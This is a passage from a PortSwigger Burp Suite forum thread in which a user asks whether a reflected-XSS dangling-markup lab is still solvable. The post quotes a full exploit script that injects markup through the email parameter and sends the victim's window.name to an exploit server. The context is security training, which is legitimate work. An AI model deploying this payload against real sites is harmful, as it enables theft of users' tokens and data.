Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Lab: Reflected XSS protected by very strict CSP, with dangling markup attack

Simon | Last updated: Oct 21, 2024 12:15PM UTC

Hi! I'd just like a confirmation whether this lab is still solvable. I'm using the suggested solution script with my own server IDs: <script> if(window.name) { new Image().src='https://exploit-0a2900f30396487e8037b68d01f6005b.exploit-server.net/exploit?'+encodeURIComponent(window.name); } else { location = 'https://0a2d008a03fd48d380bdb7b9008a0006.web-security-academy.net/my-account?email=%22%3E%3Ca%20href=%22https://exploit-0a2900f30396487e8037b68d01f6005b.exploit-server.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27'; } </script> (I'm not using the collaborator in the script as a way of ruling out collaborator as a source for the error.) And I can't get this to work in chromium or chrome. In firefox i get the expected result when clicking "view exploit" (the window.name gets set correctly and it hits the exploit server with the URI encoded string), but since the simulated victim uses chrome I'd just want confirmation that this lab is still working.

Simon | Last updated: Oct 21, 2024 12:45PM UTC

Now I found the alternative solution (https://skullhat.github.io/posts/reflected-xss-protected-by-very-strict-csp-with-dangling-markup-attack/), and I could solve the lab that way. The suggested solution does not seem to work though.

Ben, PortSwigger Agent | Last updated: Oct 21, 2024 05:10PM UTC